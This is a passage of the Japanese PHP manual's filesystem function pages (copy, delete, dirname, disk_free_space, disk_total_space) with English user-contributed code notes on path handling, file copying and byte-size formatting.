nensa at zeec dot biz 27-Jan-2009 11:44
When I recently had to copy a few millions of small files (< 1kb) from one NAS to another and for some reasons had to do that file by file I compared the following function with copy($src, $dest) and shell_exec("cp -r $src $dest").

Surprisingly stream_copy seamed to be slightly faster (at least in this specific context).

<?php
    function stream_copy($src, $dest)
    {
        $fsrc = fopen($src,'r');
        $fdest = fopen($dest,'w+');
        $len = stream_copy_to_stream($fsrc,$fdest);
        fclose($fsrc);
        fclose($fdest);
        return $len;
    }
?>
allasso residing at signalmesa dot com 28-Nov-2008 03:15
As far as recursive copy, something like this seems to work fine for me:

<?php
$output = shell_exec( " cp -r -a dir_source/* dir_dest 2>&1 " )
echo $output
?>

Of course you need to get all your permissions clear.  You can do the necessary stuff to use variables.

You could also do this to create the destination directory:

<?php
shell_exec( " cp -r -a dir_source dir_dest 2>&1 " )
?>

This will create a new directory called "dir_dest" if it does not already exist. This is a bit risky though if your situation is ambiguous, and you want to continue to make backups etc, 'cause if you do it twice you end up with:

dir_destination/dir_source

to avoid that one could do something like:

<?php
shell_exec( " mkdir dir_dest;  cp -r -a dir_source/* dir_dest 2>&1 " )
?>

Maybe someone can tell me when or why it would be better to use all that PHP code I see here.
jim dot mcgowen at cox dot net 14-Jul-2008 10:50
On Windows (not sure about Linux) copy will overwrite an existing file but will not change the case of the existing filename.

In other words if I have a file named "Myfile.txt" and I overwrite it using copy with a file named "MyFile.txt" it will overwrite it but the filename will remain "Myfile.txt".

If this is a problem (as it was for me) use unlink to delete the existing file first.
steve a h 20-Jun-2008 02:44
Don't forget; you can use copy on remote files, rather than doing messy fopen stuff.  e.g.

<?php
if(!@copy('http://someserver.com/somefile.zip','./somefile.zip'))
{
    $errors= error_get_last();
    echo "COPY ERROR: ".$errors['type'];
    echo "<br />\n".$errors['message'];
} else {
    echo "File copied from remote!";
}
?>
tom at r dot je 18-Jun-2008 08:30
It's worth noting that copy() sets the destination file's last modified time/date.
jtaylor -at- ashevillenc -dot- com 13-Feb-2007 12:48
It seems as though you can only use move_uploaded_file() once on a temporary file that has been uploaded through a form. Most likely the action this function takes destroys the temporary file after it has been moved, assuming permanent placement on a file system.

Attempting to use the function again in the same PHP script will return false and not move the file.

I ran into this when an image that was uploaded did not need resizing (smaller than a size threshold) and after moving the temporary upload to the "originals" directory, an attempt was made to again move the temporary file to another folder.

This behavior is understandable, but be careful - in this instance, I simply used copy() on the file that was already uploaded.
mspreij 27-Jan-2007 08:20
This function creates a new filename to use for a copy of the given filename, its behaviour was mostly sto^Wborrowed from how the OS X Finder (*1) does it.
Note it *doesn't* actually copy the file, it just returns the new name. I needed it to work regardless of data source (filesystem, ftp, etc).

It also tries to match the current name as neatly as possible:
foo.txt -> foo copy.txt -> foo copy 1.txt -> foo copy 2.txt [etc]
foo.bar.baz.jpg -> foo.bar.baz copy.jpg
foobar -> foobar copy -> foobar copy 1 [etc]
".txt" -> .txt copy, and "txt." -> txt. copy
file.longextension -> file.longextension copy

It keeps trying until it finds a name that is not yet taken in $list, or until it looped 500 times (change as needed).

If the renamed file becomes longer than max filename length, it starts chopping away at the end of the part before where it adds " copy": reallylong...filename.txt -> reallylong...filena copy.txt

<?php

// $orig = current name, of course
// $list = array of filenames in the target directory (if none given, it will still return a new name)
// $max = max length of filename
function duplicate_name($orig, $list = array(), $max = 64) {
  $ext = '';
  $counter = 0;
  $list = (array) $list;
  $max = (int) $max;
  $newname = $orig;
  do {
    $name = $newname; # name in, newname out
    if (preg_match('/ copy$| copy \d+$/', $name, $matches)) {
      // don't even check for extension, name ends with " copy[ digits]"
    // preg hereunder matches anything with at least one period in the middle and an extension of 1-5 characters
    }elseif (preg_match('/(.+)\.([^.]{1,5})$/', $name, $parts)) {
      // split to name & extension
      list($name, $ext) = array($parts[1], $parts[2]);
    }
    if (preg_match('/ copy (\d+)$/', $name, $digits)) {
      $newname = substr($name, 0, - strlen($digits[1])) . ($digits[1] + 1);
      # $cutlen is only used for the bit at the end where it checks on max filename length
      $cutlen = 6 + strlen($digits[1]+1); // ' copy ' + digits
    }elseif(preg_match('/ copy$/', $name, $digits)) {
      $newname = $name . ' 1';
      $cutlen = 7; // ' copy' + ' 1'
    }else{
      $newname = $name . ' copy';
      $cutlen = 5; // ' copy'
    }
    if ($ext) {
      $newname .= '.' . $ext;
      $cutlen += strlen($ext) + 1;
    }
    if ($max > 0) {
      if (strlen($newname) > $max) {
        $newname = substr($newname, 0, max($max - $cutlen, 0)) . substr($newname, -$cutlen);
        if (strlen($newname) > $max) {echo "duplicate_name() error: Can't keep the new name under given max length.\n"; return false;}
      }
    }
    if ($counter++ > 500) {echo "duplicate_name() error: Too many similarly named files or infinite while loop.\n"; return false;}
  } while (in_array($newname, $list));
  return $newname;
}

?>

*1) The Finder seems to check the extension vs a list of known extensions, this function considers it valid if it's 5 or fewer characters long.

ps. sorry for taking up so much space! :-)
cooper at asu dot ntu-kpi dot kiev dot ua 09-Mar-2006 04:32
It take me a long time to find out what the problem is when i've got an error on copy(). It DOESN'T create any directories. It only copies to existing path. So create directories before. Hope i'll help,
simonr_at_orangutan_dot_co_dot_uk 03-Sep-2004 01:54
Having spent hours tacking down a copy() error: Permission denied , (and duly worrying about chmod on winXP) , its worth pointing out that the 'destination' needs to contain the actual file name ! --- NOT just the path to the folder you wish to copy into.......
DOH !
hope this saves somebody hours of fruitless debugging
kadnan at yahoo dot com 29-Aug-2004 10:30
you can also try xcopy command by using Shell to move/copy files/folders from one place to another
here is the code:

<?php
exec('xcopy c:\\myfolder d:\\myfolder /e/i', $a, $a1);
?>

by executing this command, it will move folder along with all contents to destination.

-adnan


unlink か unset を参照してください

  • ≪ copy
  • dirname ≫
  • PHP Manual
  • ファイルシステム 関数
  • unlink か unset を参照してください

delete

delete — unlink() か unset() を参照してください

説明

PHP には、delete というキーワードや関数は存在しません。 もしあなたがファイルを削除する方法を探してこのページにたどり着いたのなら、 unlink() を試してください。 ローカルスコープから変数を削除する場合は、 unset() を参照してください。

参考

  • unlink() - ファイルを削除する
  • unset() - 指定した変数の割当を解除する

User Contributed Notes

There are no user contributed notes for this page.


親ディレクトリのパスを返す

  • ≪ delete
  • disk_free_space ≫
  • PHP Manual
  • ファイルシステム 関数
  • 親ディレクトリのパスを返す

dirname

(PHP 4, PHP 5, PHP 7, PHP 8)

dirname — 親ディレクトリのパスを返す

説明

dirname ( string $path , int $levels = 1 ) : string

ファイルあるいはディレクトリへのパスを含む文字列を受け取って、 カレントディレクトリから levels レベルさかのぼった親ディレクトリのパスを返します。

注意:

dirname() は、入力文字列を単純にそのまま処理します。 実際のファイルシステムを確認したり ".." のようなパスを気にしたりすることはありません。

警告

Windows では、dirname() は現在設定されているコードページに依存します。 よって、マルチバイト文字が含まれたパスを正しく表示するには、 それと一致するコードページが設定されていなければいけません。 現在のコードページから見て不正な文字が path に含まれていた場合、 basename() の動作は未定義です。

Windows 以外のシステムでは、 path はASCII と互換性があるエンコーディングでエンコードされていると想定されています。 そうでない場合、この関数の動作は未定義です。

パラメータ

path

パス。

Windows では、スラッシュ(/)とバックスラッシュ (\)の両方がディレクトリ区切り文字として使われます。 その他の環境ではスラッシュ(/)になります。

levels

親ディレクトリをどこまでさかのぼるか。

正の整数でなければいけません。

返り値

親ディレクトリのパスを返します。 path にスラッシュが無い場合は、 カレントディレクトリを示すドット ('.') を返します。それ以外の場合は、スラッシュ以降の /component 部分を取り除いた path を返します。

変更履歴

バージョン | 説明
7.0.0 | オプションのパラメータ levels が追加されました。

例

例1 dirname() の例

<?php
echo dirname("/etc/passwd") . PHP_EOL;
echo dirname("/etc/") . PHP_EOL;
echo dirname(".") . PHP_EOL;
echo dirname("C:\\") . PHP_EOL;
echo dirname("/usr/local/lib", 2);
?>

上の例の出力は、 たとえば以下のようになります。

/etc
/ (Windows の場合は \)
.
C:\
/usr

参考

  • basename() - パスの最後にある名前の部分を返す
  • pathinfo() - ファイルパスに関する情報を返す
  • realpath() - 正規化された絶対パス名を返す

User Contributed Notes

bobray at softville dot com 28-Dec-2018 05:04
Be aware that if you call dirname(__FILE__) on Windows, you may get backslashes. If you then try to use str_replace() or preg_replace() to replace part of the path using forward slashes in your search pattern, there will be no match. You can normalize paths with $path = str_replace('\\',  '/' ,$path) before doing any transformations
qeremy (!) gmail 13-Dec-2015 01:01
After PHP 7;
<?php
print dirname("/usr/local/lib", 2); # /usr
?>

Before PHP 7;
<?php
print dirname(dirname("/usr/local/lib")); # /usr

# or
function dirname_with_levels($path, $levels = 1) {
    while ($levels--) {
        $path = dirname($path);
    }
    return $path;
}
print dirname_with_levels("/usr/local/lib", 2); # /usr
?>
y dot a dot dejong at singular dot of dot alumni dot utwente dot nl 22-Oct-2014 07:51
As of PHP 5.3.0, you can use __DIR__ as a replacement for dirname(__FILE__)
iam at shaz3e dot com 11-Mar-2014 01:34
File located locally in: F:\localhost\www\Shaz3e-ResponsiveFramework\S3-CMS\_source

Localhost Path: http://s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source/

Example 1: dirname($_SERVER['PHP_SELF']); //output:  /Shaz3e-ResponsiveFramework/S3-CMS/_source

Example 2: "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']); //output:  http://s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source

Example 3: $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']); //output:  s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source
frederikreiss at gmx dot de 11-Sep-2013 09:55
what about a recursive dirname. To get $count levels up in a directory.

<?php

function r_dirname($path, $count=1){
    if ($count > 1){
       return dirname(r_dirname($path, --$count));
    }else{
       return dirname($path);
    }
}
Yousef Ismaeil Cliprz 18-Feb-2013 02:39
You can get best root path if you want to call a file from you project paths.

Make sure this define in your www/index.php

or the core file that inside www/ root.

<?php

/**
 * @def (string) DS - Directory separator.
 */
define("DS","/",true);

/**
 * @def (resource) BASE_PATH - get a base path.
 */
define('BASE_PATH',realpath(dirname(__FILE__)).DS,true);

?>

You can call any file any time without any problems

<?php

include BASE_PATH.'inc/class.php';

?>
minimalist at intelligence dot com 10-Mar-2012 05:33
If you want to get the parent parent directory of your script, you can use this:

<?php
 //Example script path: home/content/en/script.php
 $parentparentdir=basename(dirname(dirname(__FILE__)));
 echo $parentparentdir; //will output 'content'
?>
nhl261 at yahoo dot com 26-Jun-2011 08:54
As usual, to include or require a file, we use this
<?php
require dirname(__FILE__) . DIRECTORY_SEPARATOR . 'my_file.php';
?>

in rare case, we have current file existing at the root directory, dirname would return C:\ or / , then the line above contains 2 slashes \\ or //
To handle this this case, we use rtrim to clear slashes.
<?php
require rtrim(dirname(__FILE__), '/\\') . DIRECTORY_SEPARATOR . 'my_file.php';
?>

Also, another use of dirname is to get virtual directory (url path), the issue is the same as above, we have to check and process before concatenating strings
subzey at immelman dot ru 07-Sep-2010 09:51
In some situations (I can't locate the dependencies) basename and dirname may return incorrect values if parsed string is in UTF-8.

Like, dirname("glossary/задний-фокус") will return "glossary" and basename("glossary/задний-фокус") will return "-фокус".

Quickfix is
str_replace("!$!", "", dirname(str_replace("/", "!$!/!$!", $q)))
webyazilimci84 at gmail dot com 25-Nov-2009 06:06
In my mvc based framework i make BASE_PATH and BASE_URL definitions like the following and both work well in the framework without problem.

index.php :

define('BASE_PATH',realpath('.'));
define('BASE_URL', dirname($_SERVER["SCRIPT_NAME"]));

BASE_PATH is for server side inclusions.
BASE_URL is for client side inclusions (scripts, css files, images etc.)
ken dot forslund at hp dot com 29-May-2009 01:33
A key problem to hierarchical include trees is that PHP processes include paths relative to the original file, not the current including file.

A solution to that, is to prefix all include paths with:
<?php str_replace('//','/',dirname(__FILE__)); ?>

this will generate a base path relative to the current file, which will then allow an include behavior similar to C/C++.

thus, to include a file that is 1 in the parent directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'../parent.php'); ?>

to include a file that is in the same directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'neighbor.php'); ?>

to include a file that is in a subdirectory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'folder/sub.php'); ?>

Notice that all paths we reference must NOT begin with a /, and must be relative to the current file, in order to concatenate correctly.
joe dot naylor at gmail dot com 13-Dec-2008 10:07
The dirname function does not usually return a slash on the end, which might encourage you to create links using code like this:
$url = dirname($_SERVER['PHP_SELF']) . '/somepage.php';

However dirname returns a slash if the path you specify is the root, so $url in that case would become '//somepage.php'.  If you put that URL as the action on a form, for example, submitting the form will try to go to http://somepage.php.

I ran into this when I wrote a site on a url with a path, www.somehost.com/client/somepage.php, where the code above works great, but then wanted to put it on a subdomain, client.somehost.com/somepage.php, where things started breaking.

The best solution would be to create a function that generates absolute URLs and use that throughout the site, but creating a safe_dirname function (and an htaccess rewrite to fix double-slashes just in case) fixed the issue for me:

<?php
function safe_dirname($path)
{
   $dirname = dirname($path);
   return $dirname == '/' ? '' : $dirname;
}
?>
Tom 20-Jul-2008 11:13
Expanding on Anonymous' comment, this is not necessarily correct. If the user is using a secure protocol, this URL is inaccurate. This will work properly:

<?php

// Is the user using HTTPS?
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')) ? 'https://' : 'http://';

// Complete the URL
$url .= $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']);

// echo the URL
echo $url;

?>
Anonymous 04-Jun-2008 01:01
A simple way to show the www path to a folder containing a file...

echo "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']);
rmahase at gmail dot com 11-May-2008 11:31
this little function gets the top level public directory

eg. http://www.mysite.com/directory1/file.php

or http://www.mysite.com/directory1/directory2/directory3/file.php

will both return "directory1" ...which is the top level directory

<?php
function public_base_directory()
{
    //get public directory structure eg "/top/second/third"
    $public_directory = dirname($_SERVER['PHP_SELF']);
    //place each directory into array
    $directory_array = explode('/', $public_directory);
    //get highest or top level in array of directory strings
    $public_base = max($directory_array);

    return $public_base;
}
?>
ts at dev dot websafe dot pl 23-Mar-2008 03:55
Inside of script.php I needed to know the name of the containing directory. For example, if my script was in '/var/www/htdocs/website/somedir/script.php' i needed to know 'somedir' in a unified way.

The solution is:
<?php
$containing_dir = basename(dirname(__FILE__));
?>
Zingus J. Rinkle 10-Sep-2007 10:55
Most mkpath() function I saw listed here seem long and convoluted.
Here's mine:

<?php
  function mkpath($path)
  {
    if(@mkdir($path) or file_exists($path)) return true;
    return (mkpath(dirname($path)) and mkdir($path));
  }
?>

Untested on windows, but dirname() manual says it should work.
hans111 at yahoo dot com 26-Jan-2007 04:25
The same function but a bit improved, will use REQUEST_URI, if not available, will use PHP_SELF and if not available will use __FILE__, in this case, the function MUST be in the same file. It should work, both under Windows and *NIX.

<?php
function my_dir(){
    return end(explode('/', dirname(!empty($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : !empty($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : str_replace('\\','/',__FILE__))));
}

?>
Xedecimal at gmail dot com 24-Oct-2006 11:35
Getting absolute path of the current script:

<?php
dirname(__FILE__)
?>

Getting webserver relative path of the current script...

<?php
function GetRelativePath($path)
{
    $npath = str_replace('\\', '/', $path);
    return str_replace(GetVar('DOCUMENT_ROOT'), '', $npath);
}
?>

later on

<?php
GetRelativePath(dirname(__FILE__));
?>

If anyone has a better way, get to the constructive critisism!
legolas558 dot sourceforge comma net 10-Jul-2006 06:52
The best way to get the absolute path of the folder of the currently parsed PHP script is:

<?php

if (DIRECTORY_SEPARATOR=='/')
  $absolute_path = dirname(__FILE__).'/';
else
  $absolute_path = str_replace('\\', '/', dirname(__FILE__)).'/';

?>

This will result in an absolute unix-style path which works ok also on PHP5 under Windows, where mixing '\' and '/' may give troubles.

[EDIT by danbrown AT php DOT net: Applied author-supplied fix from follow-up note.]
renich at woralelandia dot com 10-Aug-2005 10:15
--- Edited by tularis@php.net ---
You could also have a look at the getcwd() function
--- End Edit ---

A nice "current directory" function.

function current_dir()
{
$path = dirname($_SERVER[PHP_SELF]);
$position = strrpos($path,'/') + 1;
print substr($path,$position);
}

current_dir();

I find this usefull for a lot of stuff! You can maintain a modular site with dir names as modules names. At least I would like PHP guys to add this to the function list!

If there is anything out there like it, please tell me.
klugg this-is-junk at tlen dot pl 18-Jul-2005 07:14
Attention with this. Dirname likes to mess with the slashes.
On Windows, Apache:

<?php
echo '$_SERVER[PHP_SELF]: ' . $_SERVER['PHP_SELF'] . '<br />';
echo 'Dirname($_SERVER[PHP_SELF]: ' . dirname($_SERVER['PHP_SELF']) . '<br>';
?>

prints out

$_SERVER[PHP_SELF]: /index.php
Dirname($_SERVER[PHP_SELF]: \
tobylewis at mac dot com 24-Jun-2005 06:52
Since the paths in the examples given only have two parts (e.g. "/etc/passwd") it is not obvious whether dirname returns the single path element of the parent directory or whether it returns the whole path up to and including the parent directory.  From experimentation it appears to be the latter.

e.g.

dirname('/usr/local/magic/bin');

returns '/usr/local/magic'  and not just 'magic'

Also it is not immediately obvious that dirname effectively returns the parent directory of the last item of the path regardless of whether the last item is a directory or a file.  (i.e. one might think that if the path given was a directory then dirname would return the entire original path since that is a directory name.)

Further the presense of a directory separator at the end of the path does not necessarily indicate that last item of the path is a directory, and so

dirname('/usr/local/magic/bin/');  #note final '/'

would return the same result as in my example above.

In short this seems to be more of a string manipulation function that strips off the last non-null file or directory element off of a path string.
27-Apr-2005 03:31
If you merely want to find out wether a certain file is located within or underneath a certain directory or not, e.g. for White List validation, the following function might be useful to you:

<?php
  function in_dir ($file, $in_dir)
  {
      $dir    = realpath ($file);
      $in_dir = realpath ($in_dir);

      if (!is_dir ($file)) {
          $dir = dirname ($file);
      }

      do {
          if ($dir === $in_dir) {
              $is_in_dir = TRUE;
              break;
          }
      } while ($dir !== ($dir = dirname ($dir)));

      return (bool) @$is_in_dir;
  }
?>
soywiz at hotmail dot com 01-Jan-2004 06:41
You can use it to get parent directory:

dirname(dirname(__FILE__))

...include a file relative to file path:

include(dirname(__FILE__) . '/path/relative/file_to_include.php');

..etc.
andrey at php dot net 14-Jan-2003 07:02
Code for write permissions check:

<?php
error_reporting(E_ALL);
$dir_name = '/var/www/virtual/phpintra/htdocs/php/';
do {
    $b_is_writable = is_writable($dir_name);
    echo sprintf("Dir[%s]Writable[%s]\n", $dir_name, $b_is_writable? 'YES':'NO');
}while (($dir_name = dirname($dir_name)) !='/');
?>
rudecoder at yahoo dot com 11-Jan-2003 12:43
dirname can be used to create self referencing web scripts with the following one liner.

<?php
$base_url = str_replace($DOCUMENT_ROOT, "", dirname($PHP_SELF));
?>

Using this method on a file such as:

/home/mysite/public_html/wherever/whatever.php

will return:

/wherever

Now $base_url can be used in your HTML to reference other scripts in the same directory.

Example:

href='<?=$base_url?>/myscript.php'
dave at corecomm dot us 08-Jan-2003 10:20
I very much appreciated Fredrich Echol's suggestion (rwf at gpcom dot net) of how to find a base path, but found that it failed when the initial script was already in the root folder -- dirname('/rootscript.php')=='/' and dirname('/include/includescript.php')=='/include' which have the same number of slashes. This variation is what I'm now using:

<?php
if (!defined("BASE_PATH")) define('BASE_PATH', dirname($_SERVER['SCRIPT_NAME'])=='/' ? './' : str_repeat("../",  substr_count(dirname($_SERVER["SCRIPT_NAME"]), "/")));
?>

This explicitly checks for the root path (/) and uses './' as the base path if we're in the root folder.
I put this at/near the top of any file that calls another. (I used define for my own convenience; should work just fine with variables and without testing to see if you already did it.)

Note that in both cases (root-folder script and non-root-folder script), BASE_PATH will include a trailing slash. At least with Apache on Darwin (Mac OS X), you can include(BASE_PATH.'/myfile.php'); and the doubled slash won't cause any problems, giving the same result as include(BASE_PATH.'myfile.php'); .
tapken at engter dot de 30-Apr-2002 12:09
To get the directory of current included file:

<?php
dirname(__FILE__);
?>

For example, if a script called 'database.init.php' which is included from anywhere on the filesystem wants to include the script 'database.class.php', which lays in the same directory, you can use:

<?php
include_once(dirname(__FILE__) . '/database.class.php');
?>


ファイルシステムあるいはディスクパーティション上で利用可能な領域を返す

  • ≪ dirname
  • disk_total_space ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルシステムあるいはディスクパーティション上で利用可能な領域を返す

disk_free_space

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

disk_free_space — ファイルシステムあるいはディスクパーティション上で利用可能な領域を返す

説明

disk_free_space ( string $directory ) : float|false

ディレクトリを指定することにより、 この関数は対応するファイルシステムまたはディスクパーティションで 利用可能なバイト数を返します。

パラメータ

directory

ファイルシステムのディレクトリあるいはディスクパーティション。

注意:

ディレクトリのかわりにファイル名を指定したときの挙動は未定義です。 OS や PHP のバージョンによって結果は異なります。

返り値

利用可能なバイト数を float 型で返します。 失敗した場合に false を返します。

例

例1 disk_free_space() の例

<?php
// $df は「/」で利用可能なバイト数となります。
$df = disk_free_space("/");

// Windows の場合:
$df_c = disk_free_space("C:");
$df_d = disk_free_space("D:");
?>

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

参考

  • disk_total_space() - ファイルシステムあるいはディスクパーティションの全体サイズを返す

User Contributed Notes

pavel at sunhater dot com 20-Jun-2019 11:58
<?php

function size($size, array $options=null) {

    $o = [
        'binary' => false,
        'decimalPlaces' => 2,
        'decimalSeparator' => '.',
        'thausandsSeparator' => '',
        'maxThreshold' => false, // or thresholds key
        'sufix' => [
            'thresholds' => ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y'],
            'decimal' => ' {threshold}B',
            'binary' => ' {threshold}iB'
        ]
    ];

    if ($options !== null)
        $o = array_replace_recursive($o, $options);

    $count = count($o['sufix']['thresholds']);
    $pow = $o['binary'] ? 1024 : 1000;

    for ($i = 0; $i < $count; $i++)

        if (($size < pow($pow, $i + 1)) ||
            ($i === $o['maxThreshold']) ||
            ($i === ($count - 1))
        )
            return

                number_format(
                    $size / pow($pow, $i),
                    $o['decimalPlaces'],
                    $o['decimalSeparator'],
                    $o['thausandsSeparator']
                ) .

                str_replace(
                    '{threshold}',
                    $o['sufix']['thresholds'][$i],
                    $o['sufix'][$o['binary'] ? 'binary' : 'decimal']
                );
}

var_dump(size(disk_free_space('/')));
// string(8) "14.63 GB"
var_dump(size(disk_free_space('/'), ['binary' => true]));
// string(9) "13.63 GiB"
var_dump(size(disk_free_space('/'), ['maxThreshold' => 2]));
// string(11) "14631.90 MB"
var_dump(size(disk_free_space('/'), ['binary' => true, 'maxThreshold' => 2]));
// string(12) "13954.07 MiB"

?>
Matthieu S 20-Dec-2016 11:41
On Windows, this also works with distant files, by using their full network path.

For instance, this will give the % of free disk space on the share "dir" from remote host "server" :
<?php
$path = "\\\\server\\dir";
echo(floor(100 * disk_free_space($disk) / disk_total_space($disk)));
?>

It can also work with drive letters mapped to a network path in certain cases.
somedude 23-Oct-2016 09:04
With respect to Linux filesystems, I'll point out that this function returns the space available in the current volume or mountpoint, not the total physical disk space.  That is, this function used on the '/root' volume shows the free space in /root, which is different from '/home', and so on.
Anonymous 21-Jul-2014 09:14
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );

you are missing the petabyte after terabyte

 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB'

should look like

 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'
wiede at gmx dot net 11-Apr-2011 05:36
Transformation is possible WITHOUT using loops:

<?php
    $bytes = disk_free_space(".");
    $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
    $base = 1024;
    $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
    echo $bytes . '<br />';
    echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '<br />';
?>
sam 17-Dec-2008 01:52
Nice, but please be aware of the prefixes.

SI specifies a lower case 'k' as 1'000 prefix.
It doesn't make sense to use an upper case 'K' as binary prefix,
while the decimal Mega (M and following) prefixes in SI are uppercase.
Furthermore, there are REAL binary prefixes since a few years.

Do it the (newest and recommended) "IEC" way:

KB's are calculated decimal; power of 10 (1000 bytes each)
KiB's are calculated binary; power of 2 (1024 bytes each).
The same goes for MB, MiB and so on...

Feel free to read:
http://en.wikipedia.org/wiki/Binary_prefix
root at mantoru dot de 06-Dec-2007 08:25
Note that disk_free_space() does an open_basedir check.
Nitrogen 10-Jan-2007 05:50
Another easy way to convert bytes to human readable sizes would be this:

<?php
function HumanSize($Bytes)
{
  $Type=array("", "kilo", "mega", "giga", "tera", "peta", "exa", "zetta", "yotta");
  $Index=0;
  while($Bytes>=1024)
  {
    $Bytes/=1024;
    $Index++;
  }
  return("".$Bytes." ".$Type[$Index]."bytes");
}
?>

It simply takes the $Bytes and divides it by 1024 bytes untill it's no longer over or equal to 1024, meanwhile it increases the $Index to allocate which suffix belongs to the return (adding 'bytes' to the end to save some space).
You can easily modify it so it's shorter, but I made it so it's more clearer.

Nitrogen.


ファイルシステムあるいはディスクパーティションの全体サイズを返す

  • ≪ disk_free_space
  • diskfreespace ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルシステムあるいはディスクパーティションの全体サイズを返す

disk_total_space

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

disk_total_space — ファイルシステムあるいはディスクパーティションの全体サイズを返す

説明

disk_total_space ( string $directory ) : float|false

ディレクトリを含む文字列を指定してください。この関数は、 ファイルシステムまたはディスクパーティションに対応する全体バイト数を返します。

パラメータ

directory

ファイルシステムのディレクトリあるいはディスクパーティション。

返り値

総バイト数を float 型で返します。 失敗した場合に false を返します。

例

例1 disk_total_space() の例

<?php
// $ds は、「/」で利用可能な全体バイト数
$ds = disk_total_space("/");

// Windows の場合:
$ds = disk_total_space("C:");
$ds = disk_total_space("D:");
?>

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

参考

  • disk_free_space() - ファイルシステムあるいはディスクパーティション上で利用可能な領域を返す

User Contributed Notes

ryan at designedbyrayn dot co dot uk 29-Jan-2014 09:06
<?php

//This is  a more readable way of viewing the returned float

// $Bytes contains the total number of bytes on "/"
$Bytes = disk_total_space("/");

function dataSize($Bytes)
{
$Type=array("", "kilo", "mega", "giga", "tera");
$counter=0;
while($Bytes>=1024)
{
$Bytes/=1024;
$counter++;
}
return("".$Bytes." ".$Type[$counter]."bytes");
}
?>
khumlo at gmail dot com 23-May-2010 01:36
PHP 6 has already come to the market but still there are no standard function that can help retrieve directory size as it has to calculate disk space such as disk_total_space. Although we can use system level call such as exec() and system(), it is too risky to enable these function. So we look for an alternate method so as to calculate directory size.

Sol: retrieving directory size using php

<?php

function get_dir_size($dir_name){
        $dir_size =0;
           if (is_dir($dir_name)) {
               if ($dh = opendir($dir_name)) {
                  while (($file = readdir($dh)) !== false) {
                        if($file !="." && $file != ".."){
                              if(is_file($dir_name."/".$file)){
                                   $dir_size += filesize($dir_name."/".$file);
                             }
                             /* check for any new directory inside this directory */
                             if(is_dir($dir_name."/".$file)){
                                $dir_size +=  get_dir_size($dir_name."/".$file);
                              }
                           }
                     }
             }
       }
closedir($dh);
return $dir_size;
}

$dir_name = "directory name here";
/* 1048576 bytes == 1MB */
$total_size= round((get_dir_size($dir_name) / 1048576),2) ;
print "Directory $dir_name size : $total_size MB";
?>

Depending upon the size format you want to achieve, divide directory size by 1024 or 1024 * 1024 or 1024 * 1024 * 1024 for KB or MB or GB respectively.
cotact[at]covac-software[dot]com 25-Dec-2009 06:52
Something that might go well with this function is the ability to list available disks. On Windows, here's the relevant code:

<?php
/**
 * Finds a list of disk drives on the server.
 * @return array The array velues are the existing disks.
 */
function get_disks(){
    if(php_uname('s')=='Windows NT'){
        // windows
        $disks=`fsutil fsinfo drives`;
        $disks=str_word_count($disks,1);
        if($disks[0]!='Drives')return '';
        unset($disks[0]);
        foreach($disks as $key=>$disk)$disks[$key]=$disk.':\\';
        return $disks;
    }else{
        // unix
        $data=`mount`;
        $data=explode(' ',$data);
        $disks=array();
        foreach($data as $token)if(substr($token,0,5)=='/dev/')$disks[]=$token;
        return $disks;
    }
}
?>

EXAMPLE OF USE:
<?php print_r(get_disks()); ?>

EXAMPLE RESULT:
Array
(
    [1] => A:\
    [2] => C:\
    [3] => D:\
    [4] => E:\
    [5] => F:\
    [6] => G:\
    [7] => H:\
    [8] => I:\
    [9] => M:\
    [10] => X:\
    [11] => Z:\
)

Warning: This also finds empty disk drives (eg; CD or SMD drives or the more common floppy drive).

Warning2: If you want to find space usage using the info from my function, prepend the disk function with the "@", eg:

$free=@disk_free_space('A:\\');
Viitala 04-Feb-2008 01:04
Beware of empty files!

<?php

    // Wrong
    $exp = floor(log($bytes) / log(1024));

    //Correct
    $exp = $bytes ? floor(log($bytes) / log(1024)) : 0;

?>
tularis at php dot net 25-Jun-2007 03:13
For a non-looping way to add symbols to a number of bytes:
<?php
function getSymbolByQuantity($bytes) {
    $symbols = array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
    $exp = floor(log($bytes)/log(1024));

    return sprintf('%.2f '.$symbol[$exp], ($bytes/pow(1024, floor($exp))));
}
stierguy1 at msn dot com 24-Jun-2007 07:03
function roundsize($size){
    $i=0;
    $iec = array("B", "Kb", "Mb", "Gb", "Tb");
    while (($size/1024)>1) {
        $size=$size/1024;
        $i++;}
    return(round($size,1)." ".$iec[$i]);}
nikolayku at tut dot by 17-Apr-2007 01:16
Very simple function that convert bytes to kilobytes, megabytes ...

function ConvertBytes($number)
{
    $len = strlen($number);
    if($len < 4)
    {
        return sprintf("%d b", $number);
    }
    if($len >= 4 && $len <=6)
    {
